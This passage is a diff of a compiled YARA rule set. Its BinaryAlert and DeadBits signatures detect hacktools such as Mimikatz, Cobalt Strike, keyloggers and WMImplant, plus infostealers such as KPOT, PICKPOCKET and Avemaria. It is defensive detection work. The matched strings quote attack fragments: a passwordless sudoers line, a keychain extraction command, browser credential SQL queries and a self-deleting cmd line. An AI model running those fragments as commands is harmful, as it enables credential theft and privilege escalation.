"adb2bb07-2a1a-5eb5-8049-b3f8e6cba48a" + date = "2017-08-11" + modified = "2017-08-11" + reference = "https://github.com/robertdavidgraham/masscan" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_masscan.yara#L1-L17" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "b455759ea369cdcf2f05a2735a38000179ebe644667016cd635dfad9beda4459" + logic_hash = "b35e481f73b1c1722056157f8348e2e06bb109c094b948fc6be2d9a7df070a7f" score = 75 quality = 80 tags = "" strings: - $a1 = "/etc/sudoers" fullword wide ascii - $a2 = "/etc/crontab" fullword wide ascii - $a3 = "* * * * * root echo" wide ascii - $a4 = "ALL ALL=(ALL) NOPASSWD: ALL" wide ascii - $a5 = "/usr/bin/rsh" fullword wide ascii - $a6 = "localhost" fullword wide ascii + $a1 = "EHLO masscan" fullword wide ascii + $a2 = "User-Agent: masscan/" wide ascii + $a3 = "/etc/masscan/masscan.conf" fullword wide ascii + $b1 = "nmap(%s): unsupported. This code will never do DNS lookups." wide ascii + $b2 = "nmap(%s): unsupported, we do timing WAY different than nmap" wide ascii + $b3 = "[hint] I've got some local priv escalation 0days that might work" wide ascii + $b4 = "[hint] VMware on Macintosh doesn't support masscan" wide ascii condition: - all of ( $a* ) + all of ( $a* ) or any of ( $b* ) } -rule BINARYALERT_Hacktool_Macos_Keylogger_Eldeveloper_Keystats +rule BINARYALERT_Hacktool_Windows_Cobaltstrike_Powershell : FILE { meta: - description = "A simple keylogger for macOS." + description = "Detection of the PowerShell payloads from Cobalt Strike" + author = "@javutin, @joseselvi" + id = "155f181a-56cb-5295-a903-744f79012733" + date = "2017-12-14" + modified = "2017-12-14" + reference = "https://www.cobaltstrike.com/help-payload-generator" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_cobaltstrike_powershell.yara#L1-L21" + license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" + logic_hash = "39dd0aaa84d02aae5766d764c3d371f03f9df33acf5f6ae4ab4a8c73dd827213" + score = 75 + quality = 80 + tags = "FILE" + + strings: + $ps1 = "Set-StrictMode -Version 2" + $ps2 = "func_get_proc_address" + $ps3 = "func_get_delegate_type" + $ps4 = "FromBase64String" + $ps5 = "VirtualAlloc" + $ps6 = "var_code" + $ps7 = "var_buffer" + $ps8 = "var_hthread" + + condition: + $ps1 at 0 and filesize < 1000KB and all of ( $ps* ) +} +rule BINARYALERT_Hacktool_Windows_Ncc_Wmicmd +{ + meta: + description = "Command shell wrapper for WMI" author = "@mimeframe" - id = "7fddb502-ae2d-5e14-95f5-115498fa5926" - date = "2017-09-12" - modified = "2017-09-12" - reference = "https://github.com/ElDeveloper/keystats" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_eldeveloper_keystats.yara#L1-L13" + id = "18bc36f7-b97a-5bce-a68b-c349713e9468" + date = "2017-08-11" + modified = "2017-08-11" + reference = "https://github.com/nccgroup/WMIcmd" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_ncc_wmicmd.yara#L1-L18" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "c73f5ca2ba0a1bde7c1f9b96173938e40511e12f875c4d850d6d498c63e89385" + logic_hash = "bef6828a706dcfc3b573523fccd391a5ef3fa505235b1621a82527d64d32aaf0" score = 75 quality = 80 tags = "" strings: - $a1 = "YVBKeyLoggerPerishedNotification" wide ascii - $a2 = "YVBKeyLoggerPerishedByLackOfResponseNotification" wide ascii - $a3 = "YVBKeyLoggerPerishedByUserChangeNotification" wide ascii + $a1 = "Need to specify a username, domain and password for non local connections" wide ascii + $a2 = "WS-Management is running on the remote host" wide ascii + $a3 = "firewall (if enabled) allows connections" wide ascii + $a4 = "WARNING: Didn't see stdout output finished marker - output may be truncated" wide ascii + $a5 = "Command sleep in milliseconds - increase if getting truncated output" wide ascii + $b1 = "0x800706BA" wide ascii + $b2 = "NTLMDOMAIN:" wide ascii + $b3 = "cimv2" wide ascii condition: - 2 of ( $a* ) + any of ( $a* ) or all of ( $b* ) } -rule BINARYALERT_Hacktool_Macos_Keylogger_B4Rsby_Swiftlog +rule BINARYALERT_Hacktool_Windows_Wmi_Implant { meta: - description = "Dirty user level command line keylogger hacked together in Swift." - author = "@mimeframe" - id = "b1ae8284-04a0-5818-9997-0e31eb51ed2b" - date = "2017-09-12" - modified = "2017-09-12" - reference = "https://github.com/b4rsby/SwiftLog" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_b4rsby_swiftlog.yara#L1-L11" + description = "A PowerShell based tool that is designed to act like a RAT" + author = "@fusionrace" + id = "cd90ef31-6e15-5518-8278-98e99e379916" + date = "2017-08-11" + modified = "2017-08-11" + reference = "https://www.fireeye.com/blog/threat-research/2017/03/wmimplant_a_wmi_ba.html" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_wmi_implant.yara#L1-L21" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "c66dcab2da0e543198f97ca104c13533c8950d10b6f7cbd3f906348d0f8c45ff" + logic_hash = "8b02fd265b04b9675a99b9638fdd179c8a86ed3afd7506195f3d3dcb2417d74d" score = 75 quality = 80 tags = "" strings: - $a1 = "You need to enable the keylogger in the System Prefrences" wide ascii + $s1 = "This really isn't applicable unless you are using WMImplant interactively." fullword ascii wide + $s2 = "What command do you want to run on the remote system? >" fullword ascii wide + $s3 = "Do you want to [create] or [delete] a string registry value? >" fullword ascii wide + $s4 = "Do you want to run a WMImplant against a list of computers from a file? [yes] or [no] >" fullword ascii wide + $s5 = "What is the name of the service you are targeting? >" fullword ascii wide + $s6 = "This function enables the user to upload or download files to/from the attacking machine to/from the targeted machine" fullword ascii wide + $s7 = "gen_cli - Generate the CLI command to execute a command via WMImplant" fullword ascii wide + $s8 = "exit - Exit WMImplant" fullword ascii wide + $s9 = "Lateral Movement Facilitation" fullword ascii wide + $s10 = "vacant_system - Determine if a user is away from the system." fullword ascii wide + $s11 = "Please provide the ProcessID or ProcessName flag to specify the process to kill!" fullword ascii wide condition: - all of ( $a* ) + any of them } -rule BINARYALERT_Hacktool_Macos_Keylogger_Giacomolaw +rule BINARYALERT_Hacktool_Windows_Mimikatz_Errors { meta: - description = "A simple keylogger for macOS." - author = "@mimeframe" - id = "81fcf792-a0a9-5b97-a71c-4c517a7b910c" - date = "2017-09-12" - modified = "2017-09-12" - reference = "https://github.com/GiacomoLaw/Keylogger" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_giacomolaw.yara#L1-L13" + description = "Mimikatz credential dump tool: Error messages" + author = "@fusionrace" + id = "94d50739-fc84-5bfe-821d-5e2851f681e3" + date = "2017-08-11" + modified = "2017-08-11" + reference = "https://github.com/gentilkiwi/mimikatz" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_mimikatz_errors.yara#L1-L16" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "45ca583c07b8593ed716306ae6f80eef1c3fc5652aed739454fa8007fae929b4" + logic_hash = "60fb94b9465b19af3b2df1b26490d4ac19a31a39f2f8c52f1059d37843769b36" score = 75 quality = 80 tags = "" + md5_1 = "09054be3cc568f57321be32e769ae3ccaf21653e5d1e3db85b5af4421c200669" + md5_2 = "004c07dcd04b4e81f73aacd99c7351337f894e4dac6c91dcfaadb4a1510a967c" strings: - $a1 = "ERROR: Unable to access keystroke log file. Please make sure you have the correct permissions." wide ascii - $a2 = "ERROR: Unable to create event tap." wide ascii - $a3 = "Keystrokes are now being recorded" wide ascii + $s1 = "[ERROR] [LSA] Symbols" fullword ascii wide + $s2 = "[ERROR] [CRYPTO] Acquire keys" fullword ascii wide + $s3 = "[ERROR] [CRYPTO] Symbols" fullword ascii wide + $s4 = "[ERROR] [CRYPTO] Init" fullword ascii wide condition: - 2 of ( $a* ) + all of them } -rule BINARYALERT_Hacktool_Macos_Manwhoami_Mmetokendecrypt +rule BINARYALERT_Hacktool_Windows_Hot_Potato { meta: - description = "This program decrypts / extracts all authorization tokens on macOS / OS X / OSX." + description = "No description has been set in the source file - BinaryAlert" author = "@mimeframe" - id = "2dc01ff3-4c4a-548d-b2f0-b36897ad6a5c" - date = "2017-09-12" - modified = "2017-09-12" - reference = "https://github.com/manwhoami/MMeTokenDecrypt" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_manwhoami_mmetokendecrypt.yara#L1-L15" + id = "dee13640-b4a9-5a39-af01-338c0197c995" + date = "2017-08-11" + modified = "2017-08-11" + reference = "https://github.com/foxglovesec/Potato" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_hot_potato.yara#L1-L15" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "ccfedfbff0c6eefe41e80fe488d4cae928a33e7b86019c6ec54d1c9005b35147" + logic_hash = "1ccee61660b3478294a5a4e1ca2b16c91156f6c877d0f83848cccd18a3f753f7" score = 75 quality = 80 tags = "" strings: - $a1 = "security find-generic-password -ws 'iCloud'" wide ascii - $a2 = "ERROR getting iCloud Decryption Key" wide ascii - $a3 = "Could not find MMeTokenFile. You can specify the file manually." wide ascii - $a4 = "Decrypting token plist ->" wide ascii - $a5 = "Successfully decrypted token plist!" wide ascii + $a1 = "Parsing initial NTLM auth..." wide ascii + $a2 = "Got PROPFIND for /test..." wide ascii + $a3 = "Starting NBNS spoofer..." wide ascii + $a4 = "Exhausting UDP source ports so DNS lookups will fail..." wide ascii + $a5 = "Usage: potato.exe -ip" wide ascii condition: - 3 of ( $a* ) + any of ( $a* ) } -rule BINARYALERT_Hacktool_Macos_Keylogger_Roxlu_Ofxkeylogger +rule BINARYALERT_Hacktool_Windows_Moyix_Creddump { meta: - description = "ofxKeylogger keylogger." + description = "creddump is a python tool to extract credentials and secrets from Windows registry hives." author = "@mimeframe" - id = "c0e00b76-9623-5709-b64b-0afe006eba60" + id = "46df781a-abab-5593-99f9-1a6b993904cb" date = "2017-09-12" modified = "2017-09-12" - reference = "https://github.com/roxlu/ofxKeylogger" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_roxlu_ofxkeylogger.yara#L1-L13" + reference = "https://github.com/moyix/creddump" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_moyix_creddump.yara#L1-L16" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "6e2579a10327cc8f1799848b3bcbcd95733a31098faeb849df6ebf99f1ffe808" + logic_hash = "3f2f4c5069fcb3d3b1d293a471bcf9489f058f27cd385885ab2bb4f719a3bd9d" score = 75 quality = 80 tags = "" strings: - $a1 = "keylogger_init" wide ascii - $a2 = "install_keylogger_hook function not found in dll." wide ascii - $a3 = "keylogger_set_callback" wide ascii + $a1 = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%" wide ascii + $a2 = "0123456789012345678901234567890123456789" wide ascii + $a3 = "NTPASSWORD" wide ascii + $a4 = "LMPASSWORD" wide ascii + $a5 = "aad3b435b51404eeaad3b435b51404ee" wide ascii + $a6 = "31d6cfe0d16ae931b73c59d7e0c089c0" wide ascii condition: all of ( $a* ) } -rule BINARYALERT_Hacktool_Macos_Keylogger_Dannvix +rule BINARYALERT_Hacktool_Windows_Rdp_Cmd_Delivery { meta: - description = "A simple keylogger for macOS." - author = "@mimeframe" - id = "598d6dbc-540d-5f96-8bd1-c15e6194012e" - date = "2017-09-12" - modified = "2017-09-12" - reference = "https://github.com/dannvix/keylogger-osx" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_dannvix.yara#L1-L13" + description = "Delivers a text payload via RDP (rubber ducky)" + author = "@fusionrace" + id = "8d035721-34ee-566f-8851-1c9501de2704" + date = "2017-08-11" + modified = "2017-08-11" + reference = "https://github.com/nopernik/mytools/blob/master/rdp-cmd-delivery.sh" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_rdp_cmd_delivery.yara#L1-L14" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "95d0540b1308caf3e7287c70a759954650220192800c0154d225bcb01ed55766" + logic_hash = "98bc02bb651fba069828b5960ee47542828f0d530e5e280b15abb0573b8e0168" score = 75 quality = 80 tags = "" strings: - $a1 = "/var/log/keystroke.log" wide ascii - $a2 = "" wide ascii - $a3 = "" wide ascii + $s1 = "Usage: rdp-cmd-delivery.sh OPTIONS" ascii wide + $s2 = "[--tofile 'c:\\test.txt' local.ps1 #will copy contents of local.ps1 to c:\\test.txt" ascii wide + $s3 = "-cmdfile local.bat #will execute everything from local.bat" ascii wide + $s4 = "To deliver powershell payload, use '--cmdfile script.ps1' but inside powershell console" ascii wide condition: - all of ( $a* ) + any of them } -rule BINARYALERT_Hacktool_Macos_Manwhoami_Osxchromedecrypt +rule BINARYALERT_Hacktool_Windows_Cobaltstrike_Postexploitation : FILE { meta: - description = "Decrypt Google Chrome / Chromium passwords and credit cards on macOS / OS X." - author = "@mimeframe" - id = "874cc999-d9c2-5017-83ec-e4be8a659476" - date = "2017-09-12" - modified = "2017-09-12" - reference = "https://github.com/manwhoami/OSXChromeDecrypt" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_manwhoami_osxchromedecrypt.yara#L1-L16" + description = "Detection of strings in the post-exploitation modules of Cobalt Strike" + author = "@javutin, @mimeframe" + id = "76c2a5ae-bc7c-50c7-8731-94c75912574f" + date = "2017-12-14" + modified = "2017-12-14" + reference = "https://www.cobaltstrike.com/support" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_cobaltstrike_postexploitation.yara#L1-L13" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "0974c6a5e7875e20380df0f58bf22a589b9a5c718e635ec77b42060abcf99473" + logic_hash = "1a89128a0f5774d1333be440d38128e29cb36f9818fa44e60482ef078078aca8" + score = 75 + quality = 80 + tags = "FILE" + + strings: + $s1 = "\\devcenter\\aggressor\\external\\" + + condition: + filesize > 10KB and filesize < 1000KB and all of ( $s* ) +} +rule BINARYALERT_Hacktool_Windows_Mimikatz_Copywrite +{ + meta: + description = "Mimikatz credential dump tool: Author copywrite" + author = "@fusionrace" + id = "bf7a52b5-c0af-5805-a2da-41ae3842e0c6" + date = "2017-08-11" + modified = "2017-08-11" + reference = "https://github.com/gentilkiwi/mimikatz" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_mimikatz_copywrite.yara#L1-L24" + license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" + logic_hash = "f0e8a8b0c7398e7af06bd074eec0433265ba0e675bdbff354e59432c246b0b36" score = 75 quality = 80 tags = "" + md5_1 = "0c87c0ca04f0ab626b5137409dded15ac66c058be6df09e22a636cc2bcb021b8" + md5_2 = "0c91f4ca25aedf306d68edaea63b84efec0385321eacf25419a3050f2394ee3b" + md5_3 = "0fee62bae204cf89d954d2cbf82a76b771744b981aef4c651caab43436b5a143" + md5_4 = "004c07dcd04b4e81f73aacd99c7351337f894e4dac6c91dcfaadb4a1510a967c" + md5_5 = "09c542ff784bf98b2c4899900d4e699c5b2e2619a4c5eff68f6add14c74444ca" + md5_6 = "09054be3cc568f57321be32e769ae3ccaf21653e5d1e3db85b5af4421c200669" strings: - $a1 = "Credit Cards for Chrome Profile" wide ascii - $a2 = "Passwords for Chrome Profile" wide ascii - $a3 = "Unknown Card Issuer" wide ascii - $a4 = "ERROR getting Chrome Safe Storage Key" wide ascii - $b1 = "select name_on_card, card_number_encrypted, expiration_month, expiration_year from credit_cards" wide ascii - $b2 = "select username_value, password_value, origin_url, submit_element from logins" wide ascii + $s1 = "Kiwi en C" fullword ascii wide + $s2 = "Benjamin DELPY `gentilkiwi`" fullword ascii wide + $s3 = "http://blog.gentilkiwi.com/mimikatz" fullword ascii wide + $s4 = "Build with love for POC only" fullword ascii wide + $s5 = "gentilkiwi (Benjamin DELPY)" fullword wide + $s6 = "KiwiSSP" fullword wide + $s7 = "Kiwi Security Support Provider" fullword wide + $s8 = "kiwi flavor !" fullword wide condition: - 3 of ( $a* ) or all of ( $b* ) + any of them } -rule BINARYALERT_Hacktool_Macos_Keylogger_Caseyscarborough +rule BINARYALERT_Hacktool_Windows_Mimikatz_Files { meta: - description = "A simple and easy to use keylogger for macOS." - author = "@mimeframe" - id = "82d9ff7e-b475-5888-82e1-f65c286a9cde" - date = "2017-09-12" - modified = "2017-09-12" - reference = "https://github.com/caseyscarborough/keylogger" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_caseyscarborough.yara#L1-L14" + description = "Mimikatz credential dump tool: Files" + author = "@fusionrace" + id = "ea4fd443-64dd-5466-8525-40c3a023e229" + date = "2017-08-11" + modified = "2017-08-11" + reference = "https://github.com/gentilkiwi/mimikatz" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_mimikatz_files.yara#L1-L15" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "d97fbfefe027a26ec998743b811734e62423e8a5ba4e11d516dcfc9e4831d296" + logic_hash = "50d23cda49ca559da2e504e53b46b58679ea8bc07c501ff7764a3d142598adc8" score = 75 quality = 80 tags = "" + md5_1 = "09054be3cc568f57321be32e769ae3ccaf21653e5d1e3db85b5af4421c200669" + md5_2 = "004c07dcd04b4e81f73aacd99c7351337f894e4dac6c91dcfaadb4a1510a967c" strings: - $a1 = "/var/log/keystroke.log" wide ascii - $a2 = "ERROR: Unable to create event tap." wide ascii - $a3 = "Keylogging has begun." wide ascii - $a4 = "ERROR: Unable to open log file. Ensure that you have the proper permissions." wide ascii + $s1 = "kiwifilter.log" fullword wide + $s2 = "kiwissp.log" fullword wide + $s3 = "mimilib.dll" fullword ascii wide condition: - 2 of ( $a* ) + any of them } -rule BINARYALERT_Hacktool_Macos_Manwhoami_Icloudcontacts +rule BINARYALERT_Hacktool_Windows_Mimikatz_Sekurlsa { meta: - description = "Pulls iCloud Contacts for an account. No dependencies. No user notification." - author = "@mimeframe" - id = "b6595540-7f89-5764-b34e-d32c1a377b6c" - date = "2017-09-12" - modified = "2017-09-12" - reference = "https://github.com/manwhoami/iCloudContacts" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_manwhoami_icloudcontacts.yara#L1-L14" + description = "Mimikatz credential dump tool" + author = "@fusionrace" + id = "08fe62c5-f7a4-5985-a298-1d3c2c1744d4" + date = "2017-08-11" + modified = "2017-08-11" + reference = "https://github.com/gentilkiwi/mimikatz" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_mimikatz_sekurlsa.yara#L1-L18" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "0c5b81454b26de91f5ad126b24f10397e1da5d8561b0bf22c5df128753df0ac2" + logic_hash = "24e958c3cbda8e01dc2d84b3059114ea23f4b38db1676f7b72e5eabfa52b7335" score = 75 quality = 80 tags = "" + SHA256_1 = "09054be3cc568f57321be32e769ae3ccaf21653e5d1e3db85b5af4421c200669" + SHA256_2 = "004c07dcd04b4e81f73aacd99c7351337f894e4dac6c91dcfaadb4a1510a967c" strings: - $a1 = "https://setup.icloud.com/setup/authenticate/" wide ascii - $a2 = "https://p04-contacts.icloud.com/" wide ascii - $a3 = "HTTP Error 401: Unauthorized. Are you sure the credentials are correct?" wide ascii - $a4 = "HTTP Error 404: URL not found. Did you enter a username?" wide ascii + $s1 = "dpapisrv!g_MasterKeyCacheList" fullword ascii wide + $s2 = "lsasrv!g_MasterKeyCacheList" fullword ascii wide + $s3 = "!SspCredentialList" ascii wide + $s4 = "livessp!LiveGlobalLogonSessionList" fullword ascii wide + $s5 = "wdigest!l_LogSessList" fullword ascii wide + $s6 = "tspkg!TSGlobalCredTable" fullword ascii wide condition: - 3 of ( $a* ) + all of them } /* * YARA Rule Set * Repository Name: DeadBits * Repository: https://github.com/deadbits/yara-rules/ - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: d002f7ecee23e09142a3ac3e79c84f71dda3f001 * Number of Rules: 19 * Skipped: 0 (age), 4 (quality), 0 (score), 0 (importance) @@ -69316,6 +69263,80 @@ rule BINARYALERT_Hacktool_Macos_Manwhoami_Icloudcontacts * * NO LICENSE SET */ +rule DEADBITS_KPOT_V2 : WINMALWARE INFOSTEALER FILE +{ + meta: + description = "No description has been set in the source file - DeadBits" + author = "Adam Swanda" + id = "19e8d261-c658-5d0d-a95c-43fcaf2942e2" + date = "2019-08-05" + modified = "2019-08-05" + reference = "https://github.com/deadbits/yara-rules" + source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/KPOT_v2.yara#L1-L33" + license_url = "N/A" + logic_hash = "dc8cce2ae3a427f771b19b4d0e027b653ff03a7bf816303460398987535c5351" + score = 75 + quality = 80 + tags = "WINMALWARE, INFOSTEALER, FILE" + Description = "Attempts to detect KPOT version 2 payloads" + Author = "Adam M. Swanda" + + strings: + $str01 = "%s: " ascii fullword + $str02 = " _%s_" ascii fullword + $str03 = "0|%S|%s|%s|%s" ascii fullword + $str04 = "%s | %02d/%04d | %s | %s | %s" ascii fullword + $str05 = "%s | %s | %s | %s | %s | %s | %s | %d | %s" ascii fullword + $str06 = "%s: %s | %02d/%04d | %s" ascii fullword + $str07 = "%s = %s" ascii fullword + $str08 = "password-check" ascii fullword + $conf_re1 = /(SMTP|POP3|IMAP)\sServer/ wide + $conf_re2 = /(SMTP|POP3|IMAP)\s(User|Password|Port)/ wide + $conf01 = "*.config" ascii wide fullword + $conf02 = "HTTP Server URL" ascii wide fullword + $conf03 = "%s: %d" ascii wide fullword + $conf04 = "%s\\Outlook.txt" ascii wide fullword + + condition: + uint16( 0 ) == 0x5a4d and all of ( $str* ) and all of ( $conf_re* ) and all of ( $conf0* ) +} +rule DEADBITS_APT34_PICKPOCKET : APT APT34 INFOSTEALER WINMALWARE FILE +{ + meta: + description = "Detects the PICKPOCKET malware used by APT34, a browser credential-theft tool identified by FireEye in May 2018" + author = "Adam Swanda" + id = "71db5c74-4964-5c5e-a830-242bfd0a2158" + date = "2019-07-22" + modified = "2019-07-22" + reference = "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html" + source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/APT34_PICKPOCKET.yara#L1-L30" + license_url = "N/A" + logic_hash = "7063cff3eb42c4468e01c9b214161cd306f7126f66650d99d43168730d1dc83a" + score = 75 + quality = 80 + tags = "APT, APT34, INFOSTEALER, WINMALWARE, FILE" + + strings: + $s1 = "SELECT * FROM moz_logins;" ascii fullword + $s2 = "\\nss3.dll" ascii fullword + $s3 = "SELECT * FROM logins;" ascii fullword + $s4 = "| %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');" ascii fullword + $s5 = "\\Login Data" ascii fullword + $s6 = "%s\\Mozilla\\Firefox\\profiles.ini" ascii fullword + $s7 = "Login Data" ascii fullword + $s8 = "encryptedUsernamencryptedPasswor" ascii fullword + $s10 = "%s\\Mozilla\\Firefox\\%s" ascii fullword + $s11 = "encryptedUsername" ascii fullword + $s12 = "2013-12-06 14:53:30 27392118af4c38c5203a04b8013e1afdb1cebd0d" ascii fullword + $s13 = "27392118af4c38c5203a04b8013e1afdb1cebd0d" ascii + $s15 = "= 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0" ascii fullword + $s18 = "[*] FireFox :" fullword wide + $s19 = "[*] Chrome :" fullword wide + $s20 = "username_value" ascii fullword + + condition: + uint16( 0 ) == 0x5a4d and ( 8 of them or all of them ) +} rule DEADBITS_Winnti_Linux : LINUXMALWARE FILE { meta: @@ -69360,47 +69381,163 @@ rule DEADBITS_Winnti_Linux : LINUXMALWARE FILE condition: uint16( 0 ) == 0x457f and 8 of them } -rule DEADBITS_Redghost_Linux : POSTEXPLOITATION LINUXMALWARE +rule DEADBITS_Avemaria_Warzone : AVEMARIA WARZONE WINMALWARE INFOSTEALER FILE { meta: description = "No description has been set in the source file - DeadBits" author = "Adam Swanda" - id = "f598e115-f821-5932-aa14-5254bf28092c" - date = "2019-08-07" + id = "1e03927b-d59c-5e1f-bdee-e44dfb172fad" + date = "2019-07-18" modified = "2019-08-08" - reference = "https://github.com/d4rk007/RedGhost/" - source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/RedGhost_Linux.yara#L1-L45" + reference = "https://github.com/deadbits/yara-rules" + source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/avemaria_warzone.yara#L1-L32" license_url = "N/A" - logic_hash = "0b12a0eda0a3b65c3da787770afb010eb5cd36426d41c04aca862ae1b01ab770" + logic_hash = "1fe55fc8ea80616b11757193c2c74b9cf577ab661ddca4c6c64cfad63a300614" score = 75 quality = 80 - tags = "POSTEXPLOITATION, LINUXMALWARE" + tags = "AVEMARIA, WARZONE, WINMALWARE, INFOSTEALER, FILE" Author = "Adam M. Swanda" strings: - $name = "[ R E D G H O S T - P O S T E X P L O I T - T O O L]" ascii - $feature0 = "Payloads" ascii - $feature1 = "SudoInject" ascii - $feature2 = "lsInject" ascii - $feature3 = "Crontab" ascii - $feature4 = "GetRoot" ascii - $feature5 = "Clearlogs" ascii - $feature6 = "MassinfoGrab" ascii - $feature7 = "CheckVM" ascii - $feature8 = "MemoryExec" ascii - $feature9 = "BanIP" ascii - $func0 = "checkVM(){" ascii - $func1 = "memoryexec(){" ascii - $func2 = "banip(){" ascii - $func3 = "linprivesc(){" ascii - $func4 = "dirty(){" ascii - $func5 = "Ocr(){" ascii - $func6 = "clearlog(){" ascii - $func7 = "conmethods(){" ascii - $func8 = "add2sys(){" ascii + $str1 = "cmd.exe /C ping 1.2.3.4 -n 2 -w 1000 > Nul & Del /f /q " ascii fullword + $str2 = "MsgBox.exe" wide fullword + $str4 = "\\System32\\cmd.exe" wide fullword + $str6 = "Ave_Maria" wide + $str7 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList" ascii fullword + $str8 = "SMTP Password" wide fullword + $str11 = "\\Google\\Chrome\\User Data\\Default\\Login Data" wide fullword + $str12 = "\\sqlmap.dll" wide fullword + $str14 = "SELECT * FROM logins" ascii fullword + $str16 = "Elevation:Administrator!new" wide + $str17 = "/n:%temp%" ascii wide condition: - ( uint16be( 0x0 ) == 0x2321 and for any i in ( 0 .. 64 ) : ( uint16be( i ) == 0x2f62 and uint8( i + 2 ) == 0x68 ) ) and ( $name or 5 of them ) + ( uint16( 0 ) == 0x5a4d and filesize < 400KB ) and ( 5 of ( $str* ) or all of them ) +} +rule DEADBITS_Silenttrinity_Delivery_Document : FILE +{ + meta: + description = "No description has been set in the source file - DeadBits" + author = "Adam Swanda" + id = "be8cf8b7-d7f8-587d-b7bd-ad10796cda7c" + date = "2019-07-19" + modified = "2019-07-19" + reference = "https://countercept.com/blog/hunting-for-silenttrinity/" + source_url = 